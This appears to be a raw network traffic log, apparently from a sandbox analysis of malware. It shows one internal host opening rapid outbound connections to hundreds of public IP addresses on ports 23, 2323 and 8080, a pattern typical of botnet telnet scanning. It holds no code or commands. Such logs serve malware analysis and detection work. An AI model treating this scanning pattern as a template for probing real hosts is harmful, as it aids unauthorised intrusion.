Mar 4, 2024 15:05:31.155781984 CET	50393	23	192.168.2.13	164.103.29.18
Mar 4, 2024 15:05:31.155781984 CET	47577	8080	192.168.2.13	95.92.19.35
Mar 4, 2024 15:05:31.155781984 CET	47577	8080	192.168.2.13	85.24.138.8
Mar 4, 2024 15:05:31.155781984 CET	47577	8080	192.168.2.13	95.147.36.50
Mar 4, 2024 15:05:31.155797958 CET	47577	8080	192.168.2.13	95.43.196.10
Mar 4, 2024 15:05:31.155797958 CET	50393	23	192.168.2.13	171.208.250.167
Mar 4, 2024 15:05:31.155798912 CET	47577	8080	192.168.2.13	62.104.119.38
Mar 4, 2024 15:05:31.155798912 CET	47577	8080	192.168.2.13	95.207.3.53
Mar 4, 2024 15:05:31.155798912 CET	47577	8080	192.168.2.13	31.41.208.166
Mar 4, 2024 15:05:31.155798912 CET	47577	8080	192.168.2.13	85.106.175.251
Mar 4, 2024 15:05:31.155798912 CET	47577	8080	192.168.2.13	62.216.218.41
Mar 4, 2024 15:05:31.155805111 CET	50393	23	192.168.2.13	49.213.5.65
Mar 4, 2024 15:05:31.155807018 CET	50393	2323	192.168.2.13	162.174.236.154
Mar 4, 2024 15:05:31.155807018 CET	50393	23	192.168.2.13	61.71.17.114
Mar 4, 2024 15:05:31.155805111 CET	47577	8080	192.168.2.13	94.15.177.230
Mar 4, 2024 15:05:31.155807018 CET	47577	8080	192.168.2.13	95.118.248.171
Mar 4, 2024 15:05:31.155807018 CET	47577	8080	192.168.2.13	31.189.192.235
Mar 4, 2024 15:05:31.155805111 CET	47577	8080	192.168.2.13	31.148.10.212
Mar 4, 2024 15:05:31.155805111 CET	47577	8080	192.168.2.13	95.77.119.189
Mar 4, 2024 15:05:31.155805111 CET	47577	8080	192.168.2.13	94.235.97.249
Mar 4, 2024 15:05:31.155806065 CET	47577	8080	192.168.2.13	94.61.242.1
Mar 4, 2024 15:05:31.155806065 CET	50393	2323	192.168.2.13	159.82.20.232
Mar 4, 2024 15:05:31.155806065 CET	47577	8080	192.168.2.13	94.106.25.111
Mar 4, 2024 15:05:31.155823946 CET	50393	23	192.168.2.13	180.224.121.189
Mar 4, 2024 15:05:31.155823946 CET	47577	8080	192.168.2.13	85.73.196.230
Mar 4, 2024 15:05:31.155824900 CET	47577	8080	192.168.2.13	94.188.154.89
Mar 4, 2024 15:05:31.155824900 CET	50393	23	192.168.2.13	189.112.141.167
Mar 4, 2024 15:05:31.155824900 CET	47577	8080	192.168.2.13	31.66.219.112
Mar 4, 2024 15:05:31.155824900 CET	47577	8080	192.168.2.13	94.235.177.148
Mar 4, 2024 15:05:31.155824900 CET	47577	8080	192.168.2.13	95.86.145.127
Mar 4, 2024 15:05:31.155824900 CET	47577	8080	192.168.2.13	62.15.110.150
Mar 4, 2024 15:05:31.155829906 CET	47577	8080	192.168.2.13	94.140.248.66
Mar 4, 2024 15:05:31.155829906 CET	47577	8080	192.168.2.13	85.122.186.227
Mar 4, 2024 15:05:31.155848026 CET	47577	8080	192.168.2.13	62.104.72.39
Mar 4, 2024 15:05:31.155848026 CET	47577	8080	192.168.2.13	85.122.140.221
Mar 4, 2024 15:05:31.155848026 CET	47577	8080	192.168.2.13	95.221.106.232
Mar 4, 2024 15:05:31.155850887 CET	50393	23	192.168.2.13	111.124.5.184
Mar 4, 2024 15:05:31.155850887 CET	50393	23	192.168.2.13	4.120.223.234
Mar 4, 2024 15:05:31.155848026 CET	47577	8080	192.168.2.13	85.185.48.177
Mar 4, 2024 15:05:31.155850887 CET	47577	8080	192.168.2.13	95.3.140.166
Mar 4, 2024 15:05:31.155855894 CET	47577	8080	192.168.2.13	31.155.187.84
Mar 4, 2024 15:05:31.155848980 CET	50393	23	192.168.2.13	148.225.21.156
Mar 4, 2024 15:05:31.155855894 CET	50393	23	192.168.2.13	40.131.206.108
Mar 4, 2024 15:05:31.155848980 CET	47577	8080	192.168.2.13	85.143.44.42
Mar 4, 2024 15:05:31.155848980 CET	47577	8080	192.168.2.13	62.33.100.25
Mar 4, 2024 15:05:31.155848980 CET	47577	8080	192.168.2.13	95.171.128.188
Mar 4, 2024 15:05:31.155869007 CET	50393	23	192.168.2.13	8.178.79.163
Mar 4, 2024 15:05:31.155869007 CET	47577	8080	192.168.2.13	62.3.135.156
Mar 4, 2024 15:05:31.155869007 CET	50393	23	192.168.2.13	58.103.35.217
Mar 4, 2024 15:05:31.155869007 CET	47577	8080	192.168.2.13	94.110.22.241
Mar 4, 2024 15:05:31.155869007 CET	47577	8080	192.168.2.13	94.20.44.240
Mar 4, 2024 15:05:31.155880928 CET	47577	8080	192.168.2.13	94.169.169.133
Mar 4, 2024 15:05:31.155886889 CET	47577	8080	192.168.2.13	62.244.5.189
Mar 4, 2024 15:05:31.155894041 CET	47577	8080	192.168.2.13	85.119.12.184
Mar 4, 2024 15:05:31.155903101 CET	50393	23	192.168.2.13	114.37.177.201
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	31.183.162.100
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	95.140.178.56
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	31.194.114.54
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	31.106.249.196
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	95.178.6.161
Mar 4, 2024 15:05:31.155913115 CET	50393	23	192.168.2.13	120.82.185.61
Mar 4, 2024 15:05:31.155913115 CET	47577	8080	192.168.2.13	94.187.5.105
Mar 4, 2024 15:05:31.155913115 CET	50393	23	192.168.2.13	78.249.131.142
Mar 4, 2024 15:05:31.155915976 CET	47577	8080	192.168.2.13	85.215.218.207
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	94.65.123.192
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	94.213.171.45
Mar 4, 2024 15:05:31.155917883 CET	50393	23	192.168.2.13	89.33.74.112
Mar 4, 2024 15:05:31.155921936 CET	50393	23	192.168.2.13	32.192.80.0
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	31.21.179.171
Mar 4, 2024 15:05:31.155922890 CET	47577	8080	192.168.2.13	85.106.145.253
Mar 4, 2024 15:05:31.155917883 CET	50393	23	192.168.2.13	67.5.97.63
Mar 4, 2024 15:05:31.155921936 CET	50393	23	192.168.2.13	102.51.233.82
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	94.57.74.51
Mar 4, 2024 15:05:31.155922890 CET	50393	23	192.168.2.13	185.198.131.202
Mar 4, 2024 15:05:31.155926943 CET	50393	23	192.168.2.13	181.34.43.172
Mar 4, 2024 15:05:31.155922890 CET	50393	23	192.168.2.13	87.36.117.145
Mar 4, 2024 15:05:31.155917883 CET	50393	23	192.168.2.13	31.79.161.26
Mar 4, 2024 15:05:31.155917883 CET	50393	23	192.168.2.13	106.8.127.226
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	62.168.204.198
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	94.150.71.63
Mar 4, 2024 15:05:31.155919075 CET	47577	8080	192.168.2.13	85.165.2.101
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	62.115.41.64
Mar 4, 2024 15:05:31.155919075 CET	47577	8080	192.168.2.13	85.250.202.90
Mar 4, 2024 15:05:31.155917883 CET	47577	8080	192.168.2.13	62.190.19.89
Mar 4, 2024 15:05:31.155919075 CET	50393	23	192.168.2.13	97.16.254.15
Mar 4, 2024 15:05:31.155917883 CET	50393	23	192.168.2.13	78.56.254.223
Mar 4, 2024 15:05:31.155947924 CET	50393	23	192.168.2.13	156.185.220.123
Mar 4, 2024 15:05:31.155947924 CET	47577	8080	192.168.2.13	94.195.87.255
Mar 4, 2024 15:05:31.155962944 CET	47577	8080	192.168.2.13	94.120.62.162
Mar 4, 2024 15:05:31.155962944 CET	50393	23	192.168.2.13	187.164.199.117
Mar 4, 2024 15:05:31.155962944 CET	50393	23	192.168.2.13	191.43.99.214
Mar 4, 2024 15:05:31.155973911 CET	50393	2323	192.168.2.13	138.5.68.252
Mar 4, 2024 15:05:31.155973911 CET	47577	8080	192.168.2.13	62.131.42.53
Mar 4, 2024 15:05:31.155973911 CET	50393	23	192.168.2.13	64.142.41.24
Mar 4, 2024 15:05:31.155973911 CET	50393	23	192.168.2.13	201.80.231.101
Mar 4, 2024 15:05:31.155973911 CET	47577	8080	192.168.2.13	85.74.105.142
Mar 4, 2024 15:05:31.155982971 CET	50393	23	192.168.2.13	151.236.19.191
Mar 4, 2024 15:05:31.155982971 CET	50393	23	192.168.2.13	70.87.32.72
Mar 4, 2024 15:05:31.155982971 CET	50393	23	192.168.2.13	51.37.37.148
Mar 4, 2024 15:05:31.155983925 CET	50393	2323	192.168.2.13	74.196.234.162
Mar 4, 2024 15:05:31.155983925 CET	47577	8080	192.168.2.13	94.222.221.32
Mar 4, 2024 15:05:31.155983925 CET	50393	23	192.168.2.13	131.28.110.164
Mar 4, 2024 15:05:31.155983925 CET	50393	23	192.168.2.13	151.220.144.156
Mar 4, 2024 15:05:31.155983925 CET	47577	8080	192.168.2.13	95.166.91.199
Mar 4, 2024 15:05:31.155994892 CET	47577	8080	192.168.2.13	31.52.36.128
Mar 4, 2024 15:05:31.155999899 CET	47577	8080	192.168.2.13	94.87.36.235
Mar 4, 2024 15:05:31.156013966 CET	47577	8080	192.168.2.13	95.112.253.44
Mar 4, 2024 15:05:31.156016111 CET	50393	2323	192.168.2.13	148.210.157.88
Mar 4, 2024 15:05:31.156017065 CET	47577	8080	192.168.2.13	95.154.70.254
Mar 4, 2024 15:05:31.156027079 CET	47577	8080	192.168.2.13	31.51.246.78
Mar 4, 2024 15:05:31.156027079 CET	50393	23	192.168.2.13	197.102.61.128
Mar 4, 2024 15:05:31.156027079 CET	50393	2323	192.168.2.13	31.120.234.52
Mar 4, 2024 15:05:31.156027079 CET	47577	8080	192.168.2.13	62.166.149.147
Mar 4, 2024 15:05:31.156027079 CET	50393	23	192.168.2.13	41.214.101.128
Mar 4, 2024 15:05:31.156027079 CET	50393	23	192.168.2.13	170.1.35.228
Mar 4, 2024 15:05:31.156027079 CET	50393	23	192.168.2.13	194.64.143.24
Mar 4, 2024 15:05:31.156038046 CET	47577	8080	192.168.2.13	95.99.255.251
Mar 4, 2024 15:05:31.156038046 CET	47577	8080	192.168.2.13	94.127.251.83
Mar 4, 2024 15:05:31.156040907 CET	50393	23	192.168.2.13	74.219.13.160
Mar 4, 2024 15:05:31.156042099 CET	47577	8080	192.168.2.13	31.118.78.223
Mar 4, 2024 15:05:31.156042099 CET	50393	23	192.168.2.13	134.36.86.246
Mar 4, 2024 15:05:31.156044960 CET	50393	23	192.168.2.13	49.193.185.150
Mar 4, 2024 15:05:31.156042099 CET	47577	8080	192.168.2.13	95.102.67.205
Mar 4, 2024 15:05:31.156045914 CET	50393	23	192.168.2.13	90.181.165.92
Mar 4, 2024 15:05:31.156044960 CET	47577	8080	192.168.2.13	31.22.109.138
Mar 4, 2024 15:05:31.156045914 CET	47577	8080	192.168.2.13	85.33.76.254
Mar 4, 2024 15:05:31.156044960 CET	47577	8080	192.168.2.13	62.184.124.3
Mar 4, 2024 15:05:31.156045914 CET	50393	23	192.168.2.13	142.174.15.90
Mar 4, 2024 15:05:31.156044960 CET	50393	23	192.168.2.13	206.103.228.0
Mar 4, 2024 15:05:31.156045914 CET	47577	8080	192.168.2.13	31.80.158.143
Mar 4, 2024 15:05:31.156042099 CET	47577	8080	192.168.2.13	62.192.49.232
Mar 4, 2024 15:05:31.156042099 CET	50393	23	192.168.2.13	149.67.144.17
Mar 4, 2024 15:05:31.156042099 CET	47577	8080	192.168.2.13	62.66.70.189
Mar 4, 2024 15:05:31.156042099 CET	50393	2323	192.168.2.13	39.191.118.250
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	95.135.157.26
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	31.0.140.63
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	85.77.184.10
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	95.167.47.20
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	62.72.67.50
Mar 4, 2024 15:05:31.156079054 CET	50393	23	192.168.2.13	191.192.76.23
Mar 4, 2024 15:05:31.156079054 CET	47577	8080	192.168.2.13	95.116.200.18
Mar 4, 2024 15:05:31.156079054 CET	50393	23	192.168.2.13	44.93.234.184
Mar 4, 2024 15:05:31.156085968 CET	50393	2323	192.168.2.13	68.104.175.137
Mar 4, 2024 15:05:31.156085968 CET	47577	8080	192.168.2.13	94.92.242.126
Mar 4, 2024 15:05:31.156105042 CET	47577	8080	192.168.2.13	95.245.251.231
Mar 4, 2024 15:05:31.156105042 CET	47577	8080	192.168.2.13	85.78.157.62
Mar 4, 2024 15:05:31.156105042 CET	47577	8080	192.168.2.13	31.190.52.131
Mar 4, 2024 15:05:31.156105995 CET	47577	8080	192.168.2.13	62.120.68.158
Mar 4, 2024 15:05:31.156106949 CET	50393	23	192.168.2.13	212.98.117.198
Mar 4, 2024 15:05:31.156106949 CET	47577	8080	192.168.2.13	31.170.55.4
Mar 4, 2024 15:05:31.156106949 CET	47577	8080	192.168.2.13	94.255.6.121
Mar 4, 2024 15:05:31.156109095 CET	50393	23	192.168.2.13	52.60.106.136
Mar 4, 2024 15:05:31.156119108 CET	47577	8080	192.168.2.13	31.5.22.142
Mar 4, 2024 15:05:31.156119108 CET	47577	8080	192.168.2.13	94.202.37.51
Mar 4, 2024 15:05:31.156119108 CET	50393	23	192.168.2.13	186.43.103.1
Mar 4, 2024 15:05:31.156120062 CET	50393	2323	192.168.2.13	97.72.149.88
Mar 4, 2024 15:05:31.156124115 CET	47577	8080	192.168.2.13	31.154.225.177
Mar 4, 2024 15:05:31.156126022 CET	50393	23	192.168.2.13	4.92.35.216
Mar 4, 2024 15:05:31.156120062 CET	50393	23	192.168.2.13	212.205.157.80
Mar 4, 2024 15:05:31.156124115 CET	47577	8080	192.168.2.13	85.82.240.238
Mar 4, 2024 15:05:31.156126022 CET	47577	8080	192.168.2.13	85.176.72.231
Mar 4, 2024 15:05:31.156120062 CET	50393	23	192.168.2.13	188.53.52.76
Mar 4, 2024 15:05:31.156126022 CET	50393	23	192.168.2.13	100.223.136.84
Mar 4, 2024 15:05:31.156120062 CET	50393	23	192.168.2.13	141.118.25.44
Mar 4, 2024 15:05:31.156126022 CET	50393	23	192.168.2.13	59.86.75.99
Mar 4, 2024 15:05:31.156120062 CET	50393	23	192.168.2.13	24.120.175.127
Mar 4, 2024 15:05:31.156126022 CET	47577	8080	192.168.2.13	95.191.177.108
Mar 4, 2024 15:05:31.156126022 CET	50393	23	192.168.2.13	42.93.162.90
Mar 4, 2024 15:05:31.156126022 CET	47577	8080	192.168.2.13	62.112.124.120
Mar 4, 2024 15:05:31.156126022 CET	50393	23	192.168.2.13	149.122.162.80
Mar 4, 2024 15:05:31.156148911 CET	50393	23	192.168.2.13	59.147.9.245
Mar 4, 2024 15:05:31.156152010 CET	47577	8080	192.168.2.13	85.67.176.182
Mar 4, 2024 15:05:31.156152010 CET	47577	8080	192.168.2.13	62.254.52.52
Mar 4, 2024 15:05:31.156160116 CET	47577	8080	192.168.2.13	62.126.194.115
Mar 4, 2024 15:05:31.156162977 CET	47577	8080	192.168.2.13	85.108.154.156
Mar 4, 2024 15:05:31.156162977 CET	47577	8080	192.168.2.13	31.218.113.192
Mar 4, 2024 15:05:31.156179905 CET	50393	23	192.168.2.13	74.79.5.253
Mar 4, 2024 15:05:31.156179905 CET	47577	8080	192.168.2.13	31.89.9.206
Mar 4, 2024 15:05:31.156182051 CET	47577	8080	192.168.2.13	31.173.206.201
Mar 4, 2024 15:05:31.156182051 CET	47577	8080	192.168.2.13	62.57.252.70
Mar 4, 2024 15:05:31.156182051 CET	47577	8080	192.168.2.13	31.112.49.128
Mar 4, 2024 15:05:31.156189919 CET	47577	8080	192.168.2.13	62.184.118.77
Mar 4, 2024 15:05:31.156189919 CET	50393	23	192.168.2.13	35.204.4.9
Mar 4, 2024 15:05:31.156189919 CET	50393	23	192.168.2.13	32.225.32.210
Mar 4, 2024 15:05:31.156189919 CET	50393	23	192.168.2.13	113.180.201.12
Mar 4, 2024 15:05:31.156189919 CET	50393	23	192.168.2.13	149.240.233.188
Mar 4, 2024 15:05:31.156191111 CET	47577	8080	192.168.2.13	31.233.56.142
Mar 4, 2024 15:05:31.156191111 CET	47577	8080	192.168.2.13	31.197.212.112
Mar 4, 2024 15:05:31.156191111 CET	47577	8080	192.168.2.13	95.222.117.238
Mar 4, 2024 15:05:31.156191111 CET	50393	23	192.168.2.13	143.158.97.118
Mar 4, 2024 15:05:31.156202078 CET	47577	8080	192.168.2.13	85.149.214.104
Mar 4, 2024 15:05:31.156217098 CET	47577	8080	192.168.2.13	94.251.171.66
Mar 4, 2024 15:05:31.156217098 CET	47577	8080	192.168.2.13	62.93.68.223
Mar 4, 2024 15:05:31.156224966 CET	47577	8080	192.168.2.13	31.37.53.253
Mar 4, 2024 15:05:31.156229973 CET	50393	23	192.168.2.13	156.4.16.184
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	85.53.186.113
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	95.224.58.180
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	94.162.55.208
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	95.93.214.177
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	62.185.170.5
Mar 4, 2024 15:05:31.156229973 CET	50393	23	192.168.2.13	9.58.61.63
Mar 4, 2024 15:05:31.156229973 CET	47577	8080	192.168.2.13	94.95.23.241
Mar 4, 2024 15:05:31.156234026 CET	47577	8080	192.168.2.13	62.149.6.29
Mar 4, 2024 15:05:31.156234026 CET	47577	8080	192.168.2.13	95.29.40.117
Mar 4, 2024 15:05:31.156234026 CET	50393	23	192.168.2.13	206.126.153.158
Mar 4, 2024 15:05:31.156235933 CET	47577	8080	192.168.2.13	95.69.192.23
Mar 4, 2024 15:05:31.156235933 CET	50393	23	192.168.2.13	174.254.181.58
Mar 4, 2024 15:05:31.156235933 CET	50393	23	192.168.2.13	123.129.104.130
Mar 4, 2024 15:05:31.156235933 CET	50393	23	192.168.2.13	103.219.202.82
Mar 4, 2024 15:05:31.156239986 CET	47577	8080	192.168.2.13	94.140.248.170
Mar 4, 2024 15:05:31.156258106 CET	50393	2323	192.168.2.13	177.200.83.212
Mar 4, 2024 15:05:31.156260014 CET	50393	23	192.168.2.13	173.198.116.67
Mar 4, 2024 15:05:31.156267881 CET	47577	8080	192.168.2.13	62.158.214.210
Mar 4, 2024 15:05:31.156267881 CET	47577	8080	192.168.2.13	85.150.22.134
Mar 4, 2024 15:05:31.156267881 CET	47577	8080	192.168.2.13	94.78.79.63
Mar 4, 2024 15:05:31.156270981 CET	50393	23	192.168.2.13	42.212.193.165
Mar 4, 2024 15:05:31.156267881 CET	47577	8080	192.168.2.13	95.6.190.241
Mar 4, 2024 15:05:31.156270981 CET	50393	23	192.168.2.13	77.104.17.46
Mar 4, 2024 15:05:31.156267881 CET	50393	2323	192.168.2.13	20.80.32.78
Mar 4, 2024 15:05:31.156270981 CET	47577	8080	192.168.2.13	94.234.52.194
Mar 4, 2024 15:05:31.156267881 CET	50393	23	192.168.2.13	153.146.21.121
Mar 4, 2024 15:05:31.156270981 CET	47577	8080	192.168.2.13	95.150.94.38
Mar 4, 2024 15:05:31.156267881 CET	50393	23	192.168.2.13	95.242.17.10
Mar 4, 2024 15:05:31.156269073 CET	47577	8080	192.168.2.13	94.101.28.16
Mar 4, 2024 15:05:31.156275988 CET	47577	8080	192.168.2.13	31.1.74.80
Mar 4, 2024 15:05:31.156276941 CET	50393	23	192.168.2.13	103.240.200.30
Mar 4, 2024 15:05:31.156277895 CET	47577	8080	192.168.2.13	95.205.87.9
Mar 4, 2024 15:05:31.156277895 CET	47577	8080	192.168.2.13	95.173.254.128
Mar 4, 2024 15:05:31.156276941 CET	47577	8080	192.168.2.13	62.239.23.164
Mar 4, 2024 15:05:31.156276941 CET	47577	8080	192.168.2.13	62.138.79.43
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	85.165.29.77
Mar 4, 2024 15:05:31.156295061 CET	50393	23	192.168.2.13	62.136.75.67
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	85.99.22.65
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	94.220.159.175
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	95.120.103.56
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	62.59.25.248
Mar 4, 2024 15:05:31.156295061 CET	47577	8080	192.168.2.13	95.219.90.151
Mar 4, 2024 15:05:31.156311989 CET	47577	8080	192.168.2.13	94.156.14.114
Mar 4, 2024 15:05:31.156311989 CET	47577	8080	192.168.2.13	85.7.38.161
Mar 4, 2024 15:05:31.156311989 CET	47577	8080	192.168.2.13	94.17.62.96
Mar 4, 2024 15:05:31.156311989 CET	47577	8080	192.168.2.13	85.229.209.4
Mar 4, 2024 15:05:31.156330109 CET	47577	8080	192.168.2.13	85.29.23.89
Mar 4, 2024 15:05:31.156330109 CET	50393	23	192.168.2.13	5.27.218.210
Mar 4, 2024 15:05:31.156330109 CET	50393	23	192.168.2.13	54.188.215.198
Mar 4, 2024 15:05:31.156330109 CET	47577	8080	192.168.2.13	85.86.201.95
Mar 4, 2024 15:05:31.156332016 CET	50393	2323	192.168.2.13	135.252.17.82
Mar 4, 2024 15:05:31.156330109 CET	50393	23	192.168.2.13	83.175.97.153
Mar 4, 2024 15:05:31.156330109 CET	47577	8080	192.168.2.13	85.95.144.149
Mar 4, 2024 15:05:31.156330109 CET	50393	23	192.168.2.13	213.212.205.254
Mar 4, 2024 15:05:31.156331062 CET	47577	8080	192.168.2.13	95.171.158.163
Mar 4, 2024 15:05:31.156361103 CET	47577	8080	192.168.2.13	95.255.234.242
Mar 4, 2024 15:05:31.156361103 CET	47577	8080	192.168.2.13	31.66.244.102
Mar 4, 2024 15:05:31.156361103 CET	47577	8080	192.168.2.13	31.134.59.146
Mar 4, 2024 15:05:31.156361103 CET	47577	8080	192.168.2.13	62.206.95.63
Mar 4, 2024 15:05:31.156368971 CET	50393	23	192.168.2.13	117.75.53.53
Mar 4, 2024 15:05:31.156380892 CET	47577	8080	192.168.2.13	85.103.92.248
Mar 4, 2024 15:05:31.156379938 CET	47577	8080	192.168.2.13	62.227.119.150
Mar 4, 2024 15:05:31.156379938 CET	50393	23	192.168.2.13	150.99.245.87
Mar 4, 2024 15:05:31.156380892 CET	47577	8080	192.168.2.13	62.38.193.45
Mar 4, 2024 15:05:31.156380892 CET	47577	8080	192.168.2.13	95.64.2.185
Mar 4, 2024 15:05:31.156380892 CET	47577	8080	192.168.2.13	85.216.144.91
Mar 4, 2024 15:05:31.156380892 CET	50393	23	192.168.2.13	180.176.7.223
Mar 4, 2024 15:05:31.156380892 CET	47577	8080	192.168.2.13	62.122.85.47
Mar 4, 2024 15:05:31.156404972 CET	47577	8080	192.168.2.13	31.64.54.154
Mar 4, 2024 15:05:31.156404972 CET	47577	8080	192.168.2.13	62.64.125.87
Mar 4, 2024 15:05:31.156404972 CET	47577	8080	192.168.2.13	95.62.169.30
Mar 4, 2024 15:05:31.156410933 CET	47577	8080	192.168.2.13	94.58.234.40
Mar 4, 2024 15:05:31.156435966 CET	47577	8080	192.168.2.13	31.192.249.200
Mar 4, 2024 15:05:31.156436920 CET	50393	2323	192.168.2.13	104.142.116.33
Mar 4, 2024 15:05:31.156436920 CET	47577	8080	192.168.2.13	95.189.86.253
Mar 4, 2024 15:05:31.156436920 CET	47577	8080	192.168.2.13	85.52.250.32
Mar 4, 2024 15:05:31.156436920 CET	47577	8080	192.168.2.13	85.38.77.159
Mar 4, 2024 15:05:31.156436920 CET	47577	8080	192.168.2.13	94.7.145.116
Mar 4, 2024 15:05:31.156436920 CET	50393	23	192.168.2.13	85.192.153.197
Mar 4, 2024 15:05:31.156436920 CET	47577	8080	192.168.2.13	94.127.42.64
Mar 4, 2024 15:05:31.156445026 CET	47577	8080	192.168.2.13	95.231.135.223
Mar 4, 2024 15:05:31.156445026 CET	50393	23	192.168.2.13	43.113.36.9
Mar 4, 2024 15:05:31.156445026 CET	47577	8080	192.168.2.13	31.32.88.192
Mar 4, 2024 15:05:31.156461954 CET	47577	8080	192.168.2.13	31.5.142.116
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	94.148.181.168
Mar 4, 2024 15:05:31.156462908 CET	50393	23	192.168.2.13	150.226.52.168
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	85.153.140.185
Mar 4, 2024 15:05:31.156464100 CET	50393	23	192.168.2.13	151.100.210.148
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	62.26.76.235
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	95.69.167.193
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	95.32.124.227
Mar 4, 2024 15:05:31.156462908 CET	47577	8080	192.168.2.13	62.226.31.90
Mar 4, 2024 15:05:31.156464100 CET	50393	23	192.168.2.13	1.55.89.234
Mar 4, 2024 15:05:31.156464100 CET	50393	23	192.168.2.13	46.72.12.125
Mar 4, 2024 15:05:31.156464100 CET	47577	8080	192.168.2.13	85.74.161.167
Mar 4, 2024 15:05:31.156464100 CET	50393	23	192.168.2.13	42.88.199.213
Mar 4, 2024 15:05:31.156464100 CET	47577	8080	192.168.2.13	94.138.172.44
Mar 4, 2024 15:05:31.156476021 CET	47577	8080	192.168.2.13	31.143.24.239
Mar 4, 2024 15:05:31.156476021 CET	50393	23	192.168.2.13	205.180.246.18
Mar 4, 2024 15:05:31.156476021 CET	47577	8080	192.168.2.13	95.241.81.97
Mar 4, 2024 15:05:31.156476021 CET	50393	23	192.168.2.13	2.176.241.41
Mar 4, 2024 15:05:31.156476021 CET	50393	23	192.168.2.13	122.3.197.218
Mar 4, 2024 15:05:31.156476021 CET	47577	8080	192.168.2.13	94.93.255.73
Mar 4, 2024 15:05:31.156476974 CET	47577	8080	192.168.2.13	62.210.213.185
Mar 4, 2024 15:05:31.156476974 CET	50393	23	192.168.2.13	175.37.15.7
Mar 4, 2024 15:05:31.156476974 CET	50393	23	192.168.2.13	152.80.252.166
Mar 4, 2024 15:05:31.156476974 CET	47577	8080	192.168.2.13	62.45.134.149
Mar 4, 2024 15:05:31.156483889 CET	50393	23	192.168.2.13	107.99.59.45
Mar 4, 2024 15:05:31.156483889 CET	47577	8080	192.168.2.13	94.159.244.48
Mar 4, 2024 15:05:31.156483889 CET	47577	8080	192.168.2.13	85.203.146.55
Mar 4, 2024 15:05:31.156483889 CET	50393	23	192.168.2.13	13.106.209.218
Mar 4, 2024 15:05:31.156486988 CET	47577	8080	192.168.2.13	85.170.154.47
Mar 4, 2024 15:05:31.156483889 CET	47577	8080	192.168.2.13	94.135.206.199
Mar 4, 2024 15:05:31.156487942 CET	50393	2323	192.168.2.13	212.213.254.90
Mar 4, 2024 15:05:31.156483889 CET	47577	8080	192.168.2.13	85.42.216.53
Mar 4, 2024 15:05:31.156487942 CET	50393	23	192.168.2.13	187.95.235.170
Mar 4, 2024 15:05:31.156493902 CET	47577	8080	192.168.2.13	94.161.38.188
Mar 4, 2024 15:05:31.156493902 CET	47577	8080	192.168.2.13	31.118.68.75
Mar 4, 2024 15:05:31.156487942 CET	47577	8080	192.168.2.13	95.161.124.85
Mar 4, 2024 15:05:31.156483889 CET	47577	8080	192.168.2.13	85.70.203.71
Mar 4, 2024 15:05:31.156487942 CET	50393	23	192.168.2.13	190.175.145.86
Mar 4, 2024 15:05:31.156483889 CET	50393	23	192.168.2.13	80.250.207.77
Mar 4, 2024 15:05:31.156498909 CET	47577	8080	192.168.2.13	94.167.63.214
Mar 4, 2024 15:05:31.156498909 CET	50393	23	192.168.2.13	38.86.234.187
Mar 4, 2024 15:05:31.156527996 CET	50393	23	192.168.2.13	43.125.144.89
Mar 4, 2024 15:05:31.156527996 CET	47577	8080	192.168.2.13	85.208.82.51
Mar 4, 2024 15:05:31.156527996 CET	47577	8080	192.168.2.13	95.152.229.191
Mar 4, 2024 15:05:31.156527996 CET	50393	23	192.168.2.13	19.189.65.98
Mar 4, 2024 15:05:31.156528950 CET	47577	8080	192.168.2.13	95.206.186.26
Mar 4, 2024 15:05:31.156527996 CET	47577	8080	192.168.2.13	94.38.81.12
Mar 4, 2024 15:05:31.156528950 CET	47577	8080	192.168.2.13	31.184.74.160
Mar 4, 2024 15:05:31.156527996 CET	47577	8080	192.168.2.13	62.119.63.249
Mar 4, 2024 15:05:31.156528950 CET	50393	23	192.168.2.13	96.12.229.157
Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	31.142.33.80
Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	95.193.154.145
Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	95.68.45.11
Mar 4, 2024 15:05:31.156554937 CET	50393	23	192.168.2.13	125.176.255.15
Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	95.241.103.151
Mar 4, 2024 15:05:31.156554937 CET	50393	23	192.168.2.13	81.32.119.120
Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	85.109.112.146
